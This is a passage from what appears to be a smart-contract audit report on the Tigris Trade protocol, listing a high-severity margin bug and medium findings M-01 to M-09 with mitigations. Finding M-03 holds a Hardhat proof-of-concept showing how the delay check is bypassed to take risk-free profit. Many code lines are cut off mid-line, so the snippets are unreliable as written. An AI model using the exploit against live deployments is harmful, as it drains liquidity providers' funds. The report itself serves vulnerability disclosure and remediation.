Submitted by minhtrng*, also found by* Aymen0909*,* hansfriese*,* 0Kage*,* Jeiwan*,* bin2chen*,* KingNFT*,* HollaDieWaldfee*, and* rvierdiiev

When adding to a position, the amount of margin pulled from the user is not as much as it should be, which leaks value from the protocol, lowering the collateralization ratio of `tigAsset`.

Proof of Concept

In `Trading.addToPosition` the `_handleDeposit` function is called like this:

```
    _handleDeposit(
        _trade.tigAsset,
        _marginAsset,
        _addMargin - _fee,
        _stableVault,
        _permitData,
        _trader
    );
```

The third parameter with the value of `_addMargin - _fee` is the amount pulled (or burned in the case of using `tigAsset`) from the user. The `_fee` value is calculated as part of the position size like this:

```
    uint _fee = _handleOpenFees(_trade.asset, _addMargin*_trade.leve
```

The `_handleOpenFees` function mints `_tigAsset` to the referrer, to the `msg.sender` (if called by a function meant to be executed by bots) and to the protocol itself. Those minted tokens are supposed to be part of the `_addMargin` value paid by the user.

Hence using `_addMargin - _fee` as the third parameter to `_handleDeposit` is going to pull or burn less margin than what was accounted for.

An example for correct usage can be seen in `initiateMarketOrder`:

```
uint256 _marginAfterFees = _tradeInfo.margin - _handleOpenFees(_
uint256 _positionSize = _marginAfterFees * _tradeInfo.leverage /
_handleDeposit(_tigAsset, _tradeInfo.marginAsset, _tradeInfo.mar
```

Here the third parameter to `_handleDeposit` is not `_marginAfterFees` but `_tradeInfo.margin` which is what the user has input on and is supposed to pay.

Recommended Mitigation Steps

In `Trading.addToPosition` call the `_handleDeposit` function without subtracting the `_fee` value:

```
_handleDeposit(
    _trade.tigAsset,
    _marginAsset,
    _addMargin,
    _stableVault,
    _permitData,
    _trader
);
```

TriHaz (Tigris Trade) confirmed

Alex the Entreprenerd (judge) increased severity to High and commented:

> The Warden has shown how, due to an incorrect computation, less margin is used when adding to a position.

> While the loss of fees can be considered Medium Severity, I believe that the lack of checks is ultimately allowing for more leverage than intended which not only breaks invariants but can cause further issues (sponsor cited Fees as a defense mechanism against abuse).

> For this reason, I believe the finding to be of High Severity.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419177303

Medium Risk Findings (24)

[M-01] Lock.sol: claimGovFees function can cause assets to be stuck in the Lock contract

Submitted by HollaDieWaldfee*, also found by* __141345__ *and* 0xdeadbeef0x

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L110

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L215

Impact

When calling `Lock.claimGovFees`, assets that are set to be not allowed or assets that don't have any shares yet in the `BondNFT` contract will cause a silent failure in `BondNFT.distribute`.

The funds from the `GovNFT` contract will get transferred into the `Lock` contract and then will be stuck there. They cannot be recovered.

Proof of Concept

1. An asset is added to the `BondNFT` contract by calling `BondNFT.addAsset`
2. There are no bonds yet for this asset so the amount of shares for the asset is zero
3. `Lock.claimGovFees` is called
4. Funds are transferred from the `GovNFT` contract to the `Lock` contract

5. The call to `BondNFT.distribute` now fails quietly without reverting the transaction:

```
        if (totalShares[_tigAsset] == 0 || !allowedAsset[_tigAsset]) return;
```

6. The funds are now stuck in the `Lock` contract. They cannot be recovered.

Tools Used

VS Code

Recommended Mitigation Steps

A naive solution would be to use `revert` instead of `return` in `BondNFT.distribute` such that funds are either transferred from `GovNFT` to `Lock` and then to `BondNFT` or not at all.

```
    ) external {
-       if (totalShares[_tigAsset] == 0 || !allowedAsset[_tigAs
+       if (totalShares[_tigAsset] == 0 || !allowedAsset[_tigAs
        IERC20(_tigAsset).transferFrom(_msgSender(), address(th
        unchecked {
            uint aEpoch = block.timestamp / DAY;
```

This however is an incomplete fix because if there is a single “bad” asset, rewards for the other assets cannot be distributed either.

Moreover functions like `Lock.lock` and `Lock.release` rely on `Lock.claimGovFees` to not revert.

So you might allow the owner to rescue stuck tokens from the `Lock` contract. Of course only allow rescuing the balance of the `Lock` contract minus the `totalLocked` of the asset in the `Lock` contract such that the locked amount cannot be rescued.

Alex the Entreprenerd (judge) commented:

> Looks off, the transferFrom would happen **after the check**.

> If `totalShares` is zero, the funds will not be pulled.

> Will double check but looks invalid.

[TriHaz (Tigris Trade) confirmed and commented]:

> @Alex the Entreprenerd it is valid, funds will not be pulled to `BondNFT`, but they will be stuck in `Lock`.

[Alex the Entreprenerd (judge) commented]:

> The warden has shown how, whenever the `totalShares` for an asset are zero, or an asset is not allowed, the call to distribute will result in a no-op.

> Because `claimGovFees` uses a delta balance, this means that those tokens will be stuck in the Lock Contract.

> Because this finding shows a way to lose yield, due to an external condition, I agree with Medium Severity.

[GainsGoblin (Tigris Trade) resolved]:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419173369

[M-02] Must approve 0 first

Submitted by 0x4non, *also found by* kwhuo68, eierina, Deivitto, 0xNazgul, __141345__, imare, cccz, *and* rvierdiiev

Some tokens (like USDT) do not work when changing the allowance from an existing non-zero allowance value. They must first be approved by zero and then the actual allowance must be approved.

Proof of Concept

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Lock.sol#L117

```
    function claimGovFees() public {
        address[] memory assets = bondNFT.getAssets();

        for (uint i=0; i < assets.length; i++) {
            uint balanceBefore = IERC20(assets[i]).balanceOf(add
            IGovNFT(govNFT).claim(assets[i]);
            uint balanceAfter = IERC20(assets[i]).balanceOf(addr
            IERC20(assets[i]).approve(address(bondNFT), type(uin
            bondNFT.distribute(assets[i], balanceAfter - balance
        }
    }
```

Recommended Mitigation Steps

Add an `approve(0)` before approving;

```
    function claimGovFees() public {
        address[] memory assets = bondNFT.getAssets();

        for (uint i=0; i < assets.length; i++) {
            uint balanceBefore = IERC20(assets[i]).balanceOf(add
            IGovNFT(govNFT).claim(assets[i]);
            uint balanceAfter = IERC20(assets[i]).balanceOf(addr
            IERC20(assets[i]).approve(address(bondNFT), 0);
            IERC20(assets[i]).approve(address(bondNFT), type(uin
            bondNFT.distribute(assets[i], balanceAfter - balance
        }
    }
```

Alex the Entreprenerd (judge) commented:

> The Warden has shown how, due to the function approving max multiple times, certain tokens, that only allow a non-zero allowance to be set starting from zero, could revert.

> Because this depends on the token implementation, but there's a reasonable chance to believe that USDT will be used, I agree with Medium Severity.

GainsGoblin (Tigris Trade) confirmed:

> Since the purpose of the bonds is to lock tigAsset liquidity, only tigAsset tokens will be allowed to be locked, which don't have this issue.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419177578

[M-03] Bypass the delay security check to win risk free funds

Submitted by KingNFT, *also found by* Critical, chaduke, 0x52, noot, *and* orion

The current implementation uses `_checkDelay()` function to prevent profitable opening and closing in the same tx with two different prices in the "valid signature pool". But the protection is not enough, an attacker can long with low price and short with high price at the same tx but two orders to lock profit and take risk free funds.

Proof of Concept

The following test case and comments show the details for how to exploit it:

```
const { expect } = require("chai");
const { deployments, ethers, waffle } = require("hardhat");
const { parseEther, formatEther } = ethers.utils;
const { signERC2612Permit } = require('eth-permit');

describe("Bypass delay check to earn risk free profit", function

  let owner;
  let node;
  let user;
  let node2;
  let node3;
  let proxy;

  let Trading;
  let trading;

  let TradingExtension;
  let tradingExtension;
```

```
let TradingLibrary;
let tradinglibrary;

let StableToken;
let stabletoken;

let StableVault;
let stablevault;

let position;

let pairscontract;
let referrals;

let permitSig;
let permitSigUsdc;

let MockDAI;
let MockUSDC;
let mockusdc;

let badstablevault;

let chainlink;

beforeEach(async function () {
  await deployments.fixture(['test']);
  [owner, node, user, node2, node3, proxy] = await ethers.getS
  StableToken = await deployments.get("StableToken");
  stabletoken = await ethers.getContractAt("StableToken", Stab
  Trading = await deployments.get("Trading");
  trading = await ethers.getContractAt("Trading", Trading.addr
  TradingExtension = await deployments.get("TradingExtension")
  tradingExtension = await ethers.getContractAt("TradingExtens
  const Position = await deployments.get("Position");
  position = await ethers.getContractAt("Position", Position.a
  MockDAI = await deployments.get("MockDAI");
  MockUSDC = await deployments.get("MockUSDC");
  mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.
  const PairsContract = await deployments.get("PairsContract")
  pairscontract = await ethers.getContractAt("PairsContract",
  const Referrals = await deployments.get("Referrals");
  referrals = await ethers.getContractAt("Referrals", Referral
  StableVault = await deployments.get("StableVault");
  stablevault = await ethers.getContractAt("StableVault", Stab
  await stablevault.connect(owner).listToken(MockDAI.address);
```

```
  await stablevault.connect(owner).listToken(MockUSDC.address)
  await tradingExtension.connect(owner).setAllowedMargin(Stable
  await tradingExtension.connect(owner).setMinPositionSize(Sta
  await tradingExtension.connect(owner).setNode(node.address,
  await tradingExtension.connect(owner).setNode(node2.address,
  await tradingExtension.connect(owner).setNode(node3.address,
  await network.provider.send("evm_setNextBlockTimestamp", [20
  await network.provider.send("evm_mine");
  permitSig = await signERC2612Permit(owner, MockDAI.address,
  permitSigUsdc = await signERC2612Permit(owner, MockUSDC.addr

  const BadStableVault = await ethers.getContractFactory("BadS
  badstablevault = await BadStableVault.deploy(StableToken.add

  const ChainlinkContract = await ethers.getContractFactory("M
  chainlink = await ChainlinkContract.deploy();

  TradingLibrary = await deployments.get("TradingLibrary");
  tradinglibrary = await ethers.getContractAt("TradingLibrary"
  await trading.connect(owner).setLimitOrderPriceRange(1e10);
});


describe("Simulate long with low price and short with high pri
  let longId;
  let shortId;
  beforeEach(async function () {
      let TradeInfo = [parseEther("1000"), MockDAI.address, St
      let PriceData = [node.address, 1, parseEther("1000"), 0,
      let message = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint25
          [node.address, 1, parseEther("1000"), 0, 2000000000,
        )
      );
      let sig = await node.signMessage(
        Buffer.from(message.substring(2), 'hex')
      );

      let PermitData = [permitSig.deadline, ethers.constants.M
      longId = await position.getCount();
      await trading.connect(owner).initiateMarketOrder(TradeIn
      expect(await position.assetOpenPositionsLength(1)).to.eq

      TradeInfo = [parseEther("1010"), MockDAI.address, Stable
      PriceData = [node.address, 1, parseEther("1010"), 0, 200
```

```
    message = ethers.utils.keccak256(
      ethers.utils.defaultAbiCoder.encode(
        ['address', 'uint256', 'uint256', 'uint256', 'uint25
        [node.address, 1, parseEther("1010"), 0, 2000000000,
      )
    );
    sig = await node.signMessage(
      Buffer.from(message.substring(2), 'hex')
    );

    PermitData = [permitSig.deadline, ethers.constants.MaxUi
    shortId = await position.getCount();
    await trading.connect(owner).initiateMarketOrder(TradeIn
    expect(await position.assetOpenPositionsLength(1)).to.eq

});


it.only("Exit at any price to take profit", async function (
    // same time later, now we can close the orders
    await network.provider.send("evm_setNextBlockTimestamp",
    await network.provider.send("evm_mine");

    // any new price, can be changed to other price such as
    let closePrice = parseEther("1050");
    let closePriceData = [node.address, 1, closePrice, 0, 20
    let closeMessage = ethers.utils.keccak256(
      ethers.utils.defaultAbiCoder.encode(
        ['address', 'uint256', 'uint256', 'uint256', 'uint25
        [node.address, 1, closePrice, 0, 2000000100, false]
      )
    );
    let closeSig = await node.signMessage(
      Buffer.from(closeMessage.substring(2), 'hex')
    );

    let balanceBefore = await stabletoken.balanceOf(owner.ad
    await trading.connect(owner).initiateCloseOrder(longId,
    await trading.connect(owner).initiateCloseOrder(shortId,
    let balanceAfter = await stabletoken.balanceOf(owner.add
    let principal = parseEther("1000").add(parseEther("1010"

    let profit = balanceAfter.sub(balanceBefore).sub(princip
    expect(profit.gt(parseEther(`50`))).to.equal(true);
});
```

```
    it.only("Exit with another price pair to double profit", asyn
      // some time later, now we can close the orders
      await network.provider.send("evm_setNextBlockTimestamp", [1
      await network.provider.send("evm_mine");

      // any new price pair, can be changed to other price such a
      let closePrice = parseEther("1050");
      let closePriceData = [node.address, 1, closePrice, 0, 2000(
      let closeMessage = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256'
          [node.address, 1, closePrice, 0, 2000000100, false]
        )
      );
      let closeSig = await node.signMessage(
        Buffer.from(closeMessage.substring(2), 'hex')
      );

      let balanceBefore = await stabletoken.balanceOf(owner.addre

      // close long with high price
      await trading.connect(owner).initiateCloseOrder(longId, 1e


      closePrice = parseEther("1040");
      closePriceData = [node.address, 1, closePrice, 0, 20000001(
      closeMessage = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256'
          [node.address, 1, closePrice, 0, 2000000100, false]
        )
      );
      closeSig = await node.signMessage(
        Buffer.from(closeMessage.substring(2), 'hex')
      );
      // close short with low price
      await trading.connect(owner).initiateCloseOrder(shortId, 1e
      let balanceAfter = await stabletoken.balanceOf(owner.addres
      let principal = parseEther("1000").add(parseEther("1010"))

      let profit = balanceAfter.sub(balanceBefore).sub(principal
      expect(profit.gt(parseEther(`100`))).to.equal(true);
    });

  });
});
```

How to run

Put the test case to a new BypassDelayCheck.js file of test directory, and run:

```
npx hardhat test
```

And the test result will be:

```
Bypass delay check to earn risk free profit
  Simulate long with low price and short with high price at th
    √ Exit at any price to take profit
    √ Exit with another price pair to double profit
```

Tools Used

VS Code, Hardhat

Recommended Mitigation Steps

Cache recent lowest and highest prices, open long order with the highest price and short order with the lowest price.

TriHaz (Tigris Trade) disputed and commented:

> We don't think this is valid as price sig expires in a very small window that would prevent a big price difference that could work in the same transaction to long & short.

> Also we have spread and funding fees that would make this so hard to be profitable.

Alex the Entreprenerd (judge) decreased severity to Medium and commented:

> The finding is effectively saying that while a delay exist, it doesn't truly offer any security guarantees because a trader could just open a trade on both sides, by using 2 different prices that are active at the same time.

> Anytime the spread between the prices, magnified by leverage, is higher than the fees, the trade is profitable (an arbitrage) at the disadvantage of the LPers.

> I think we don't have sufficient information to irrevocably mark this as a security vulnerability (just like there's no guarantee of prices being active once at a time, there's no guarantee there won't be).

> For this reason, I believe the finding to be valid and of Medium Severity.

> The finding is worth investigating once the system is deployed as it's reliant on settings and oracle behaviour

GainsGoblin (Tigris Trade) commented:

> Oracle behaviour can easily mitigate this issue by setting appropriate spreads based on price movement, however there is nothing to be done in the contracts.

[M-04] Approved operators of Position token can't call Trading.initiateCloseOrder

Submitted by rvierdiiev, *also found by* __141345__ *and* UniversalCrypto

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L235

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L847-L849

Impact

Approved operators of owner of Position token can't call several function in Trading.

Proof of Concept

Functions that accept Position token in Trading are checking that the caller is owner of token using `\_checkOwner` function.

https://github.com/code-423n4/2022-12-tigris/blob/main/contracts/Trading.sol#L847-L849

```
function _checkOwner(uint _id, address _trader) internal vie
    if (position.ownerOf(_id) != _trader) revert("2"); //Not
```

```
    }
```

As you can see this function doesn't allow approved operators of token's owner to pass the check. As a resul, functions are not possible to call for them on behalf of owner.

For example here, there is a check that doesn't allow to call initiateCloseOrder function.

Tools Used

VS Code

Recommended Mitigation Steps

Allow operators of token's owner to call functions on behalf of owner.

Alex the Entreprenerd (judge) commented:

> The warden has shown how, due to an inconsistency between the check and the permissions, some functions will not work for an approved operator.
>
> Because some functions will, and the system seems to be written with the intention of allowing that functionality, I believe Medium Severity to be the most appropriate.

GainsGoblin (Tigris Trade) acknowledged and commented:

> @Alex the Entreprenerd We want to keep `_checkOwner()` the way it is currently implemented. For approving another address for trading on behalf of the user's address, we have the `approveProxy()` function.

[M-05] Failure in `endpoint` can cause minting more than one NFT with the same token id in different chains

Submitted by HE1M

In the contract `GovNFT`, it is possible to bridge the governance NFT to other chains. It is also stated in the document that:

> NFT holders only earn the profits generated by the platform on the chain that the NFT is on.

It is assumed that there is only one unique NFT per token id. But there is a scenario that can lead to more than one NFT with the same token id on different chains.

Proof of Concept

- Suppose Bob (honest user who owns an NFT with token id X on chain B) plans to bridge this NFT from chain B to chain A. So, Bob calls the function `crossChain` to bridge the NFT from chain B to chain A. Thus, his NFT will be burnt on chain B, and it is supposed to be minted on chain A.

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/GovNFT.sol#L124

- The `endpoint` is responsible for completing the bridging task on chain A.
- Suppose the `endpoint` calls the function `lzReceive` with low gas on chain A, so that the transaction will be not successful.

```
function lzReceive(
        uint16 _srcChainId,
        bytes memory _srcAddress,
        uint64 _nonce,
        bytes memory _payload
    ) external override {
        require(_msgSender() == address(endpoint), "!Endpoint");
        (bool success, bytes memory reason) = address(this).exce
        // try-catch all errors/exceptions
        if (!success) {
            failedMessages[_srcChainId][_srcAddress][_nonce] = k
            emit MessageFailed(_srcChainId, _srcAddress, _nonce,
        }
    }
```

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/GovNFT.sol#L168

- Since the transaction was not successful, the message will be added as a failed message.

```
failedMessages[chainB][Bob's address][_nonce] = keccak256(_payloa
```

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/GovNFT.sol#L178

- Then, due to network lag (or any server issue, or any failure in `endpoint`), the `endpoint` assumes that the transaction is not sent, and it again calls this function with enough gas, so, the NFT with token id X will be minted to Bob's address on chain A. The flow is as follows:

```
lzReceive ==> nonblockingLzReceive ==> _nonblockingLzReceive ==>
_bridgeMint
```

- Now Bob has the NFT on chain A. Moreover, he has a failed message on chain A.
- Then Bob calls the function `crossChain` to bridge that NFT from chain A to chain B. So, this NFT will be burnt on chain A, and minted to Bob's address on chain B.
- Now, Bob has the NFT with token id X on chain B. Moreover, he has a failed message on chain A.
- He calls the function `retryMessage` to retry the failed message on chain A.

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/GovNFT.sol#L206

- By doing so the NFT with token id X will be minted to Bob on chain A. The flow is as follows:

```
retryMessage ==> _nonblockingLzReceive ==> _bridgeMint
```

- Now Bob has the NFT with token id X on both chain A and chain B. This is the vulnerability.

- Now he can, for example, sell the NFT on chain B while he is earning the profits generated by the platform on the chain A that the NFT is on.
- Please note that Bob can not call the function `retryMessage` while he owns the NFT on chain A. Because during minting the NFT, it checks whether the token id exists or not. That is why Bob first bridges the NFT to another chain, and then retries the failed message.

The vulnerability is that when the message is failed, it is not considered as consumed, so in case of a failure in `endpoint` ***it is possible to have failed messages and be able to mint it at the same time.***

Please note that if this scenario happens again, more NFTs with the same token id X will be minted to Bob on different chains.

Recommended Mitigation Steps

It is recommended to track the consumed messages, and add a consumed flag whenever the function `lzReceive` is called, because it will either immediately mint the NFT or add it to the failed messages to be minted later.

```
mapping(uint16 => mapping(bytes => mapping(uint64 => bool))) pub

    function lzReceive(
        uint16 _srcChainId,
        bytes memory _srcAddress,
        uint64 _nonce,
        bytes memory _payload
    ) external override {

        require(!consumedMessage[_srcChainId][_srcAddress][_nonc
        consumedMessage[_srcChainId][_srcAddress][_nonce] = true

        require(_msgSender() == address(endpoint), "!Endpoint");
        (bool success, bytes memory reason) = address(this).exce
        // try-catch all errors/exceptions
        if (!success) {
            failedMessages[_srcChainId][_srcAddress][_nonce] = k
            emit MessageFailed(_srcChainId, _srcAddress, _nonce,
        }
    }
```

GainsGoblin (Tigris Trade) confirmed

Alex the Entreprenerd (judge) commented:

> The Warden has shown a flaw in the FSM in `lzReceive` that, due to an unexpected revert, could cause the ability to have the same tokenId on multiple chains.
>
> Because of it's reliance on external conditions, I agree with Medium Severity.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419174114
>
> This implementation of consumedMessage check returns instead of reverts. We don't want it to revert because that would cause the message queue to be blocked.

[M-06] BondNFTs can revert when transferred

Submitted by 0xdeadbeef0x

`BondNFT` s should be transferrable. According the the proposal and the sponsor, `BondNFT` s should could be sold and borrowed against.

The proposal for context:
https://gov.tigris.trade/#/proposal/0x2f2d1d63060a4a2f2718ebf86250056d40380dc7162fb4bf5e5c0b5bee49a6f3

The current implementation limits selling/depositing to only the same day that rewards are distributed for the `tigAsset` of the bond.

The impact if no rewards are distributed in the same day:

1. `BondNFT` s listed on open markets will not be able to fulfill the orders
2. `BondNFT` s deposited as collateral will not be able to release the collateral

Because other market/platforms used for selling/depositing will not call `claimGovFees` to distribute rewards, they will revert when trying to transfer the `BondNFT`.

Realistic examples could be `BondNFT`s listed on OpenSea.

Example of reasons why rewards would not be distributed in the same day:

1. Low activity from investors, rewards are distributed when users lock/release/extend
2. `tigAsset` is blacklisted in `BondNFT`, rewards will not be distributed in such case.

Proof of Concept

`BondNFT` has a mechanism to update the time `tigAsset` rewards are distributed. It uses a map that points to the last timestamp rewards were distributed for `epoch[tigAsset]`.

`distribute` function in `BondNFT`:
https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/BondNFT.sol#L221

```
        function distribute(
            address _tigAsset,
            uint _amount
        ) external {
            if (totalShares[_tigAsset] == 0 || !allowedAsset[_tigAss
            IERC20(_tigAsset).transferFrom(_msgSender(), address(thi
            unchecked {
                uint aEpoch = block.timestamp / DAY;
                if (aEpoch > epoch[_tigAsset]) {
                    for (uint i=epoch[_tigAsset]; i<aEpoch; i++) {
                        epoch[_tigAsset] += 1;
                        accRewardsPerShare[_tigAsset][i+1] = accRewa
                    }
                }
                accRewardsPerShare[_tigAsset][aEpoch] += _amount * 1
            }
            emit Distribution(_tigAsset, _amount);
```

```
    }
```

(Please note that if the asset is blacklisted through `allowedAsset`, the `epoch[tigAsset]` will not be updated)

When `BondNFT`s are transferred, a check is implemented to make sure `epoch[tigAsset]` is updated to the current day.

According to the sponsor, the reason for this check is to make sure that a bond that should be expired doesn't get transferred while the epoch hasn't yet been updated.

`_transfer` function in `BondNFT`: https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/BondNFT.sol#L329

```
    function _transfer(
        address from,
        address to,
        uint256 _id
    ) internal override {
        Bond memory bond = idToBond(_id);
        require(epoch[bond.asset] == block.timestamp/DAY, "Bad e
        require(!bond.expired, "Expired!");
        unchecked {
            require(block.timestamp > bond.mintTime + 300, "Rece
            userDebt[from][bond.asset] += bond.pending;
            bondPaid[_id][bond.asset] += bond.pending;
        }
        super._transfer(from, to, _id);
    }
```

As can be seen above, if `epoch[tigAsset]` is not set to the same day of the transfer, the transfer will fail and the impacts in the impact section will happen.

Hardhat POC

There is already an implemented test showing that transfers fail when `epoch[tigAsset]` is not updated:

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/test/09.Bonds.js#L472

```
    it("Bond can only transferred if epoch is updated", async fu
      await stabletoken.connect(owner).mintFor(owner.address, et
      await lock.connect(owner).lock(StableToken.address, ethers

      await network.provider.send("evm_increaseTime", [864000]);
      await network.provider.send("evm_mine");

      await expect(bond.connect(owner).safeTransferMany(user.add
    });
```

Tools Used

VS Code, Hardhat

Recommended Mitigation Steps

The reason for the check is to validate that a bond.expired updated according to the actual timestamp.

Instead of having

```
        require(epoch[bond.asset] == block.timestamp/DAY, "Bad e
        require(!bond.expired, "Expired!");
```

You could replace it with:

```
    require(bond.expireEpoch  >= block.timestamp/DAY, "Transfer aft
```

TriHaz (Tigris Trade) confirmed

Alex the Entreprenerd (judge) commented:

> The warden has shown a way for the BondNFT to not be transferable, because this shows a functionality loss, given a specific circumstance, I agree with Medium

> Severity.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419174264

[M-07] Trading will not work on Ethereum if USDT is used

Submitted by 0xdeadbeef0x, *also found by* rbserver, Rolezn, Ruhum, Faith, mookimgo, 0x52, 8olidity, *and* KingNFT

Traders will not be able to:

1. Initiate a market order
2. Add margin
3. Add to position
4. initiate limit order

If USDT is set as the margin asset and protocol is deployed on Ethereum.

(Note: this issue was submitted after consulting with the sponsor even though currently there are no plans to deploy the platform on Ethereum).

Proof of Concept

`USDT` has a race condition protection mechanism on ethereum chain:

It does not allow users to change the allowance without first changing the allowance to 0.

`approve` function in `USDT` on Ethereum:
https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7#code#L205

```
    function approve(address _spender, uint _value) public onlyP

        // To change the approve amount you first have to reduce
```

```
        //  allowance to zero by calling `approve(_spender, 0)` 
        //  already 0 to mitigate the race condition described h
        //  https://github.com/ethereum/EIPs/issues/20#issuecomm
        require(!((_value != 0) && (allowed[msg.sender][_spender

        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
    }
```

In `Trading`, if users use `USDT` as margin to:

1. Initiate a market order
2. Add margin
3. Add to position
4. initiate limit order

The transaction will revert.

This is due to the the `_handleDeposit` which is called in all of the above uses.

`_handleDeposit` calls the `USDT` margin asset `approve` function with `type(uint).max`.

From the second time `approve` will be called, the transaction will revert.

`_handleDeposit` in `Trading`:
https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L652

```
    function _handleDeposit(address _tigAsset, address _marginAs
, ERC20PermitData calldata _permitData, address _trader) interna
------
        IERC20(_marginAsset).transferFrom(_trader, address(t
        IERC20(_marginAsset).approve(_stableVault, type(uint
        IStableVault(_stableVault).deposit(_marginAsset, _ma
------
    }
```

Tools Used

VS Code

Recommended Mitigation Steps

No need to to approve `USDT` every time. The protocol could:

1. Keep a record if allowance was already set on an address
2. Create an external function that can be called by the owner to approve the a token address

TriHaz (Tigris Trade) confirmed

Alex the Entreprenerd (judge) commented:

> In contrast to unsafeERC20 functions (OOS), this report shows an issue with USDT or similar tokens that require a zero to non-zero allowance.
>
> Not resetting to zero and instead calling to set max multiple times will cause reverts in those cases.
>
> For this reason I agree with Medium Severity.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419174789

[M-08] GovNFT: maxBridge has no effect

Submitted by cccz*, also found by* unforgiven*,* Madalad*, and* 0xbepresent

In GovNFT, setMaxBridge function is provided to set maxBridge, but this variable is not used, literally it should be used to limit the number of GovNFTs crossing chain, but it doesn't work in GovNFT.

```
uint256 public maxBridge = 20;
```

```
    ...
        function setMaxBridge(uint256 _max) external onlyOwner {
            maxBridge = _max;
        }
```

Proof of Concept

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L19-L20

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L311-L313

Recommended Mitigation Steps

Consider applying the maxBridge variable.

Alex the Entreprenerd (judge) commented:

> The Warden has shown how, an unused variable, which was meant to cap the amount of tokens bridged per call, could cause a DOS.

> These types of DOS could only be fixed via Governance Operations, and could create further issues, for this reason I agree with Medium Severity.

GainsGoblin (Tigris Trade) confirmed and resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419175169

[M-09] `safeTransferMany()` doesn't actually use safe transfer

Submitted by 0xA5DF, *also found by* 0xmuxyz, 8olidity, 0x4non, *and* HollaDieWaldfee

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L247

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L285

Both `BondNFT` and `GovNFT` are an ERC721 implementation, and they both also have a function named `safeTransferMany()` which its name implies is supposed to safe transfer many tokens at once. However the function doesn't actually safe transfer.

Impact

Users might use this function, expecting it to verify that the receiver is an `ERC721Receiver`, but will get their funds stuck in a contract that doesn't support ERC721.

Proof of Concept

I've added the following tests to the `GovNFT` tests.

1st test will succeed (tx will revert) since `safeTransferFrom()` does actually use safe transfer.

2nd will fail (tx won't revert), since `safeTransferMany()` doesn't actually use a safe transfer.

```
diff --git a/test/05.GovNFT.js b/test/05.GovNFT.js
index 711a649..d927320 100644
--- a/test/05.GovNFT.js
+++ b/test/05.GovNFT.js
@@ -98,6 +98,14 @@ describe("govnft", function () {
       expect(await govnft.pending(owner.getAddress(), StableTok
       expect(await govnft.pending(user.getAddress(), StableToke
     });
+
+    it("Safe transfer to non ERC721Receiver", async function ()
+
+      expect(govnft.connect(owner)['safeTransferFrom(address,ad
```

```
+    });
+    it("Safe transfer many  to non ERC721Receiver", async funct
+      await expect(govnft.connect(owner).safeTransferMany(Stabl
+    });
     it("Transferring an NFT with pending delisted rewards shoul
       await govnft.connect(owner).safeTransferMany(user.getAddr
       expect(await govnft.balanceOf(owner.getAddress())).to.equ
```

Output (I've shortened the output. following test will also fail, since the successful transfer will affect them):

```
      ✓ Safe transfer to contract
      1) Safe transfer many to contract


  11 passing (3s)
  1 failing

  1) govnft
       Reward system related functions
         Safe transfer many to contract:

     AssertionError: Expected transaction to be reverted
     + expected - actual

     -Transaction NOT reverted.
     +Transaction reverted.
```

Recommended Mitigation Steps

Call `_safeTransfer()` instead of `_transfer()`.

[TriHaz (Tigris Trade) confirmed]

[Alex the Entreprenerd (judge) commented]:

> The Warden has shown a discrepancy between the intent of the code and the actual functionality when it comes to the `safeTransfer...` function.

> Because this finding is reliant on understanding the intention of the Sponsor, and in this case they have confirmed, I believe that the finding is valid and of Medium

> Severity, because the function was intended to be using the safe checks, but wasn't.

GainsGoblin (Tigris Trade) resolved:

> Mitigation: https://github.com/code-423n4/2022-12-tigris/pull/2#issuecomment-1419175381

> We decided that we do not want transfers to check that the receiver is implementing IERC721Receiver, so we renamed the functions.

[M-10] `BondNFT.extendLock` force a user to extend the bond at least for current bond.period

Submitted by carlitox477

